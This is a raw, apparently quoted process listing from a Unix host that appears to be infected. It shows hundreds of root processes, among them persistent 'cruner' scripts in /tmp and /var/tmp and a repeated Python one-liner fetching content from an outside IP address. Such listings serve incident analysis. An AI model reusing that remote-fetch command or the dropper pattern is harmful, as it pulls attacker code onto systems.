? 0:00 sleep 60 > root 15654 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14102 27366 0 - ? 0:00 <defunct> > root 25722 27017 0 - ? 0:00 <defunct> > root 573 4581 0 15:46:11 ? 0:00 bash -sh > root 22681 24252 0 - ? 0:00 <defunct> > root 21957 3077 0 15:43:14 ? 0:00 bash -sh > root 9799 7351 0 - ? 0:00 <defunct> > root 9243 9230 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29326 8399 0 15:46:15 ? 0:00 bash -sh > root 24600 10200 0 - ? 0:00 <defunct> > root 5730 7502 0 15:45:28 ? 0:00 sleep 60 > root 3677 12362 0 15:45:44 ? 0:00 sleep 60 > root 1782 23454 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2650 21547 0 - ? 0:00 <defunct> > root 23430 6926 0 15:46:14 ? 0:00 bash -sh > root 13785 7890 0 - ? 0:00 <defunct> > root 14948 21082 0 15:46:13 ? 0:00 bash -sh > root 22833 24072 0 - ? 0:00 <defunct> > root 18265 4769 0 15:46:00 ? 0:00 sh /tmp/cruner > root 1338 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7140 970 0 15:44:13 ? 0:00 bash -sh > root 13843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16685 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10044 16047 0 15:46:12 ? 0:00 sleep 60 > root 13009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26592 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23950 1 0 22:50:44 ? 0:00 sh /var/tmp/cruner > root 20981 20621 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16545 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22785 26151 0 - ? 0:00 <defunct> > root 25067 21139 0 - ? 0:00 <defunct> > root 22743 19396 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 20076 28836 0 - ? 0:00 <defunct> > root 27230 29894 0 - ? 0:00 <defunct> > root 1580 16600 0 15:45:31 ? 0:00 sleep 60 > root 15531 22283 0 - ? 0:00 <defunct> > root 7150 25612 0 - ? 0:00 <defunct> > root 26114 18989 0 - ? 0:00 <defunct> > root 845 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6458 27454 0 15:46:06 ? 0:00 bash -sh > root 2243 12733 0 15:44:11 ? 0:00 bash -sh > root 5080 28845 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1854 9418 0 15:45:58 ? 0:00 xargs kill -9 > root 24594 6037 0 - ? 0:00 <defunct> > root 3437 11118 0 15:45:19 ? 0:00 bash -sh > root 26823 7108 0 15:45:34 ? 0:00 sleep 60 > root 17983 3382 0 15:46:08 ? 0:00 sleep 60 > root 22978 17 0 - ? 0:00 <defunct> > root 26202 25141 0 15:46:05 ? 0:00 sleep 60 > root 22468 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8022 12289 0 15:46:12 ? 0:00 sleep 60 > root 26971 23950 0 15:46:02 ? 0:00 bash -sh > root 25773 25232 0 - ? 0:00 <defunct> > root 16877 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28151 22949 0 - ? 0:00 <defunct> > root 23571 29857 0 - ? 0:00 <defunct> > root 20632 5624 0 15:43:28 ? 0:00 bash -sh > root 22427 10085 0 15:45:26 ? 0:00 sleep 60 > root 14903 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23935 12845 0 15:46:10 ? 0:00 bash -sh > root 3083 1637 0 15:46:11 ? 0:00 awk {print $7} > root 13216 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19316 17098 0 15:46:00 ? 0:00 sleep 60 > root 17092 20056 0 15:46:04 ? 0:00 sleep 60 > root 13494 2019 0 - ? 0:00 <defunct> > root 4964 1 0 20:04:56 ? 0:00 sh /tmp/cruner > root 20802 9798 0 15:46:14 ? 0:00 bash -sh > root 207 183 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 934 916 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2658 17438 0 15:45:19 ? 0:00 sleep 60 > root 10522 27954 0 15:45:55 ? 0:00 sleep 60 > root 28864 28804 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12834 5816 0 15:45:55 ? 0:00 sleep 60 > root 20394 6955 0 15:44:53 ? 0:00 bash -sh > root 9902 17511 0 15:45:25 ? 0:00 sleep 60 > root 15533 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9088 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29806 26977 0 15:46:15 ? 0:00 bash -sh > root 4389 29016 0 15:46:06 ? 0:00 sleep 60 > root 25398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18697 1 0 20:42:13 ? 0:00 sh /tmp/cruner > root 15072 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14727 15053 0 15:46:00 ? 0:00 sleep 60 > root 26397 15610 0 - ? 0:00 <defunct> > root 4589 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9666 3465 0 15:45:50 ? 0:00 sleep 60 > root 7596 13466 0 15:45:49 ? 0:00 sleep 60 > root 27782 20646 0 15:45:18 ? 0:00 sleep 60 > root 26539 26533 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12626 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9710 1614 0 15:45:20 ? 0:00 bash -sh > root 22403 6700 0 15:45:13 ? 0:00 bash -sh > root 6047 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23237 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13848 29894 0 - ? 0:00 <defunct> > root 14252 4862 0 15:43:02 ? 0:00 bash -sh > root 28875 24818 0 15:45:34 ? 0:00 sleep 60 > root 21383 2408 0 15:45:12 ? 0:00 bash -sh > root 3524 11995 0 15:45:19 ? 0:00 sleep 60 > root 17427 14153 0 - ? 0:00 <defunct> > root 29703 4673 0 - ? 0:00 <defunct> > root 27667 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18170 26892 0 - ? 0:00 <defunct> > root 20541 19068 0 15:45:42 ? 0:00 xargs kill -9 > root 8774 29455 0 - ? 0:00 <defunct> > root 16670 20389 0 15:45:29 ? 0:00 sleep 60 > root 3066 23242 0 15:45:19 ? 0:00 sleep 60 > root 9314 444 0 - ? 0:00 <defunct> > root 28117 20167 0 15:45:43 ? 0:00 sleep 60 > root 3371 19320 0 15:45:19 ? 0:00 sleep 60 > root 26555 7059 0 15:42:50 ? 0:00 bash -sh > root 11117 16454 0 15:46:07 ? 0:00 sleep 60 > root 29640 20376 0 15:45:31 ? 0:00 bash -sh > root 18655 6154 0 15:45:42 ? 0:00 sleep 60 > root 22797 7354 0 15:45:57 ? 0:00 sleep 60 > root 18661 23094 0 - ? 0:00 <defunct> > root 12423 1894 0 15:43:20 ? 0:00 bash -sh > root 25267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4826 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14631 29172 0 15:45:21 ? 0:00 sleep 60 > root 6235 16958 0 15:46:06 ? 0:00 sleep 60 > root 21783 9152 0 15:43:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23225 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2276 27755 0 15:45:39 ? 0:00 bash -sh > root 14458 4440 0 15:45:37 ? 0:00 bash -sh > root 14841 14840 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5695 28303 0 - ? 0:00 <defunct> > root 23367 23260 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3881 23236 0 - ? 0:00 <defunct> > root 23562 5096 0 15:46:01 ? 0:00 bash -sh > root 29392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 70 16979 0 15:44:11 ? 0:00 bash -sh > root 3844 9183 0 15:45:19 ? 0:00 sleep 60 > root 21807 4492 0 - ? 0:00 <defunct> > root 5790 5576 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1490 19262 0 15:46:11 ? 0:00 bash -sh > root 23870 21553 0 15:46:01 ? 0:00 bash -sh > root 5184 27291 0 15:45:49 ? 0:00 bash -sh > root 9932 20240 0 15:45:15 ? 0:00 bash -sh > root 8053 26623 0 - ? 0:00 <defunct> > root 10199 8669 0 - ? 0:00 <defunct> > root 18158 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1004 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12256 26671 0 - ? 0:00 <defunct> > root 26620 10279 0 15:45:07 ? 0:00 bash -sh > root 25988 26563 0 15:45:47 ? 0:00 sleep 60 > root 5634 15402 0 15:45:49 ? 0:00 sleep 60 > root 8155 6595 0 15:45:01 ? 0:00 bash -sh > root 27698 26720 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19290 28303 0 - ? 0:00 <defunct> > root 10114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1885 25795 0 15:45:39 ? 0:00 bash -sh > root 21636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2517 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12868 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1657 29991 0 15:45:19 ? 0:00 sleep 60 > root 21176 14973 0 15:46:04 ? 0:00 sleep 60 > root 11947 18418 0 - ? 0:00 <defunct> > root 15302 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24220 17103 0 15:46:14 ? 0:00 sh /tmp/cruner > root 19125 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8464 671 0 15:45:45 ? 0:00 sleep 60 > root 25205 11825 0 15:46:10 ? 0:00 sleep 60 > root 26882 1 0 14:17:29 ? 0:00 sh /var/tmp/cruner > root 26660 25799 0 15:46:15 ? 0:00 sh /tmp/cruner > root 247 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13189 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7327 13691 0 15:44:51 ? 0:00 bash -sh > root 26843 7416 0 15:46:02 ? 0:00 bash -sh > root 7620 28438 0 15:43:43 ? 0:00 bash -sh > root 11758 21430 0 15:45:15 ? 0:00 sleep 60 > root 5746 7743 0 15:43:25 ? 0:00 bash -sh > root 22538 18120 0 15:45:17 ? 0:00 sleep 60 > root 26243 22727 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2090 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4854 14299 0 15:45:28 ? 0:00 sleep 60 > root 14368 24142 0 15:44:05 ? 0:00 bash -sh > root 13038 24216 0 15:46:13 ? 0:00 bash -sh > root 10450 2566 0 15:44:51 ? 0:00 bash -sh > root 7684 5272 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18081 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21720 457 0 - ? 0:00 <defunct> > root 14299 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26210 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29275 18870 0 15:45:34 ? 0:00 sleep 60 > root 18320 29187 0 - ? 0:00 <defunct> > root 24234 27570 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13192 12797 0 15:43:33 ? 0:00 bash -sh > root 5738 20170 0 - ? 0:00 <defunct> > root 20249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5202 21732 0 15:45:20 ? 0:00 bash -sh > root 3321 22540 0 - ? 0:00 <defunct> > root 17151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9811 12720 0 - ? 0:00 <defunct> > root 24222 10845 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 3177 6049 0 15:45:19 ? 0:00 sleep 60 > root 4419 11578 0 - ? 0:00 <defunct> > root 24896 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15290 11672 0 15:44:05 ? 0:00 bash -sh > root 15690 8695 0 - ? 0:00 <defunct> > root 29123 18754 0 15:45:47 ? 0:00 sleep 60 > root 28465 24874 0 15:46:05 ? 0:00 sleep 60 > root 21687 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24046 2111 0 - ? 0:00 <defunct> > root 21113 15476 0 - ? 0:00 <defunct> > root 17345 15240 0 15:46:13 ? 0:00 xargs kill -9 > root 2570 2549 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25283 26530 0 - ? 0:00 <defunct> > root 20015 12655 0 15:45:17 ? 0:00 bash -sh > root 26492 21705 0 - ? 0:00 <defunct> > root 24413 23084 0 15:46:14 ? 0:00 xargs kill -9 > root 21774 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23561 23544 0 - ? 0:00 <defunct> > root 269 7202 0 15:45:31 ? 0:00 bash -sh > root 5101 5090 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 191 7779 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 12209 9526 0 15:43:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14265 5641 0 - ? 0:00 <defunct> > root 19889 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7404 11389 0 - ? 0:00 <defunct> > root 1382 16720 0 15:45:58 ? 0:00 sleep 60 > root 4544 18957 0 - ? 0:00 <defunct> > root 5787 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26930 26822 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27362 1744 0 15:46:15 ? 0:00 bash -sh > root 25566 19284 0 15:41:49 ? 0:00 bash -sh > root 22575 576 0 15:45:33 ? 0:00 sleep 60 > root 22296 11441 0 - ? 0:00 <defunct> > root 21360 2238 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 28337 15931 0 - ? 0:00 <defunct> > root 19079 4245 0 15:45:12 ? 0:00 bash -sh > root 13368 3107 0 15:44:52 ? 0:00 bash -sh > root 3346 27038 0 15:46:06 ? 0:00 sleep 60 > root 5922 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20127 7074 0 - ? 0:00 <defunct> > root 28340 4226 0 - ? 0:00 <defunct> > root 20956 10646 0 15:46:09 ? 0:00 sleep 60 > root 20589 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11068 26207 0 15:45:15 ? 0:00 bash -sh > root 7111 15899 0 15:44:38 ? 0:00 bash -sh > root 9487 20762 0 15:45:59 ? 0:00 sleep 60 > root 3450 2742 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7036 26383 0 15:43:50 ? 0:00 bash -sh > root 9523 9498 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28466 3821 0 - ? 0:00 <defunct> > root 5459 1 0 22:11:18 ? 0:00 sh /var/tmp/cruner > root 12668 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4100 1592 0 - ? 0:00 <defunct> > root 9078 2941 0 15:46:07 ? 0:00 sleep 60 > root 17426 17022 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13342 22131 0 15:45:21 ? 0:00 sleep 60 > root 9143 27615 0 15:45:50 ? 0:00 sleep 60 > root 21935 20963 0 15:46:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26616 22711 0 15:45:34 ? 0:00 bash -sh > root 18959 5117 0 15:46:09 ? 0:00 bash -sh > root 14108 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15271 15265 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12890 14166 0 15:45:16 ? 0:00 sleep 60 > root 22758 8920 0 15:46:09 ? 0:00 sleep 60 > root 19936 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21219 8453 0 - ? 0:00 <defunct> > root 8779 19948 0 15:45:49 ? 0:00 sleep 60 > root 14278 12745 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14153 7877 0 15:45:41 ? 0:00 bash -sh > root 3327 28811 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1533 1871 0 15:45:44 ? 0:00 bash -sh > root 1801 10596 0 15:45:53 ? 0:00 sh /tmp/cruner > root 11491 5860 0 - ? 0:00 <defunct> > root 8098 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15193 25498 0 15:45:37 ? 0:00 sleep 60 > root 11237 24488 0 15:45:55 ? 0:00 bash -sh > root 14003 3129 0 15:42:18 ? 0:00 bash -sh > root 11378 17695 0 - ? 0:00 <defunct> > root 18278 9610 0 15:45:42 ? 0:00 bash -sh > root 24070 472 0 15:45:30 ? 0:00 sleep 60 > root 21621 8752 0 - ? 0:00 <defunct> > root 21884 14075 0 15:44:53 ? 0:00 bash -sh > root 11946 27694 0 - ? 0:00 <defunct> > root 13207 24591 0 15:46:04 ? 0:00 sleep 60 > root 22541 1378 0 15:45:57 ? 0:00 sleep 60 > root 12204 12073 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1678 17947 0 15:45:48 ? 0:00 sleep 60 > root 2426 26634 0 15:45:48 ? 0:00 sleep 60 > root 28312 16198 0 - ? 0:00 <defunct> > root 4511 12936 0 15:44:02 ? 0:00 bash -sh > root 26481 28013 0 15:46:01 ? 0:00 sleep 60 > root 186 16396 0 15:46:15 ? 0:00 bash -sh > root 3550 3361 0 15:46:11 ? 0:00 sleep 60 > root 21982 23338 0 - ? 0:00 <defunct> > root 21672 28578 0 15:46:01 ? 0:00 bash -sh > root 16818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4922 3903 0 - ? 0:00 <defunct> > root 16004 741 0 - ? 0:00 <defunct> > root 14891 16805 0 15:41:52 ? 0:00 bash -sh > root 657 6848 0 - ? 0:00 <defunct> > root 14114 14112 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29645 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25277 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26599 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28767 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14085 15727 0 15:45:37 ? 0:00 bash -sh > root 8303 7205 0 15:43:09 ? 0:00 bash -sh > root 18842 2299 0 15:45:42 ? 0:00 xargs kill -9 > root 26065 26139 0 15:45:17 ? 0:00 bash -sh > root 27563 22368 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22037 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14233 6173 0 15:45:37 ? 0:00 bash -sh > root 25972 20904 0 15:45:34 ? 0:00 bash -sh > root 20568 14834 0 15:45:06 ? 0:00 bash -sh > root 8957 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 168 20906 0 15:46:15 ? 0:00 xargs kill -9 > root 9046 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15836 3318 0 - ? 0:00 <defunct> > root 1359 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27276 1548 0 - ? 0:00 <defunct> > root 14111 4180 0 15:45:59 ? 0:00 bash -sh > root 28554 9853 0 15:46:15 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25584 9965 0 - ? 0:00 <defunct> > root 26216 15896 0 - ? 0:00 <defunct> > root 3205 25287 0 15:45:09 ? 0:00 bash -sh > root 26869 1 0 23:16:03 ? 0:00 sh /var/tmp/cruner > root 15009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21688 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7491 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22126 16691 0 - ? 0:00 <defunct> > root 17195 17913 0 - ? 0:00 <defunct> > root 10105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1483 3636 0 - ? 0:00 <defunct> > root 18680 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26876 19498 0 15:45:18 ? 0:00 sleep 60 > root 2638 20729 0 15:45:19 ? 0:00 sleep 60 > root 14733 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13807 5244 0 15:45:55 ? 0:00 xargs kill -9 > root 21344 3363 0 15:45:17 ? 0:00 sleep 60 > root 29403 11903 0 15:46:15 ? 0:00 bash -sh > root 28018 28002 0 - ? 0:00 <defunct> > root 27363 19668 0 15:46:15 ? 0:00 bash -sh > root 13110 16505 0 - ? 0:00 <defunct> > root 7699 24606 0 - ? 0:00 <defunct> > root 16008 12601 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10537 11753 0 - ? 0:00 <defunct> > root 10768 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20278 20268 0 - ? 0:00 <defunct> > root 23752 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25396 8918 0 15:45:47 ? 0:00 sleep 60 > root 8008 7964 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7804 5427 0 15:45:36 ? 0:00 sleep 60 > root 18551 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2300 8765 0 15:45:53 ? 0:00 sleep 60 > root 2520 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3761 29912 0 - ? 0:00 <defunct> > root 6406 17387 0 15:45:20 ? 0:00 sleep 60 > root 6349 21437 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9830 25264 0 15:45:15 ? 0:00 bash -sh > root 1719 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5799 27957 0 15:46:06 ? 0:00 sleep 60 > root 16029 20823 0 - ? 0:00 <defunct> > root 1872 24901 0 15:45:19 ? 0:00 sleep 60 > root 7530 13136 0 15:45:49 ? 0:00 sleep 60 > root 21245 21241 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7048 16075 0 15:45:49 ? 0:00 sleep 60 > root 17069 22670 0 15:44:17 ? 0:00 bash -sh > root 23820 4263 0 - ? 0:00 <defunct> > root 17140 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6428 16918 0 - ? 0:00 <defunct> > root 25530 25469 0 - ? 0:00 <defunct> > root 24452 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6481 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28812 10057 0 15:45:18 ? 0:00 sleep 60 > root 15723 16771 0 - ? 0:00 <defunct> > root 4707 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16381 14284 0 15:45:26 ? 0:00 sh /var/tmp/cruner > root 28839 19474 0 15:45:34 ? 0:00 sleep 60 > root 2872 8585 0 15:46:11 ? 0:00 bash -sh > root 4427 1664 0 - ? 0:00 <defunct> > root 9917 19619 0 15:45:32 ? 0:00 sleep 60 > root 15042 3457 0 15:46:13 ? 0:00 bash -sh > root 17687 28841 0 15:45:12 ? 0:00 bash -sh > root 6866 28807 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29723 20768 0 15:42:51 ? 0:00 bash -sh > root 12123 22159 0 - ? 0:00 <defunct> > root 7869 29978 0 - ? 0:00 <defunct> > root 23416 28037 0 15:44:08 ? 0:00 bash -sh > root 28893 9194 0 15:45:27 ? 0:00 bash -sh > root 14175 11035 0 - ? 0:00 <defunct> > root 2281 17578 0 15:44:11 ? 0:00 bash -sh > root 20945 29709 0 - ? 0:00 <defunct> > root 16931 1887 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 26038 18672 0 - ? 0:00 <defunct> > root 4963 11609 0 15:45:40 ? 0:00 sleep 60 > root 13331 5864 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 16896 4991 0 15:45:42 ? 0:00 sleep 60 > root 23455 18920 0 15:46:14 ? 0:00 bash -sh > root 15268 6109 0 15:46:13 ? 0:00 bash -sh > root 26402 13385 0 - ? 0:00 <defunct> > root 26400 29010 0 - ? 0:00 <defunct> > root 12024 11666 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19097 2382 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4207 22517 0 15:45:58 ? 0:00 sleep 60 > root 5887 5881 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28142 13895 0 15:45:43 ? 0:00 bash -sh > root 27800 15698 0 15:45:34 ? 0:00 xargs kill -9 > root 11811 25368 0 - ? 0:00 <defunct> > root 8822 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6563 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28683 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25547 26828 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 23280 10322 0 - ? 0:00 <defunct> > root 13563 9062 0 - ? 0:00 <defunct> > root 15909 14870 0 15:46:08 ? 0:00 sleep 60 > root 11650 16251 0 - ? 0:00 <defunct> > root 22514 18094 0 15:45:47 ? 0:00 bash -sh > root 11164 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18848 20455 0 - ? 0:00 <defunct> > root 2331 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26069 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21702 16475 0 - ? 0:00 <defunct> > root 14781 14357 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18642 9590 0 - ? 0:00 <defunct> > root 4575 6522 0 15:45:58 ? 0:00 sleep 60 > root 12702 21952 0 15:46:08 ? 0:00 sleep 60 > root 10972 24033 0 - ? 0:00 <defunct> > root 16461 14614 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23548 13151 0 15:46:01 ? 0:00 bash -sh > root 7754 7612 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24347 23269 0 - ? 0:00 <defunct> > root 19921 12287 0 15:46:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27385 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3806 5727 0 - ? 0:00 <defunct> > root 23923 8620 0 15:45:13 ? 0:00 bash -sh > root 12973 13183 0 15:46:04 ? 0:00 sleep 60 > root 15446 16411 0 15:43:02 ? 0:00 bash -sh > root 20747 6539 0 15:44:48 ? 0:00 bash -sh > root 22752 25997 0 15:45:47 ? 0:00 sh /tmp/cruner > root 14645 14623 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3931 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28814 13186 0 15:45:18 ? 0:00 sleep 60 > root 28405 24584 0 - ? 0:00 <defunct> > root 17801 16253 0 15:43:33 ? 0:00 bash -sh > root 23269 23880 0 15:45:02 ? 0:00 bash -sh > root 2776 621 0 15:45:48 ? 0:00 sleep 60 > root 19259 7619 0 15:45:38 ? 0:00 bash -sh > root 18373 19288 0 15:45:42 ? 0:00 bash -sh > root 23611 23610 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18839 13653 0 15:45:37 ? 0:00 bash -sh > root 24304 17695 0 - ? 0:00 <defunct> > root 13659 24172 0 15:46:08 ? 0:00 sleep 60 > root 22629 25895 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7779 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29553 1199 0 15:45:34 ? 0:00 sleep 60 > root 15279 15246 0 15:45:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10042 16759 0 15:44:51 ? 0:00 bash -sh > root 19610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25591 11588 0 15:46:14 ? 0:00 bash -sh > root 17305 23352 0 15:45:22 ? 0:00 bash -sh > root 13545 23504 0 15:46:13 ? 0:00 bash -sh > root 27125 4357 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > 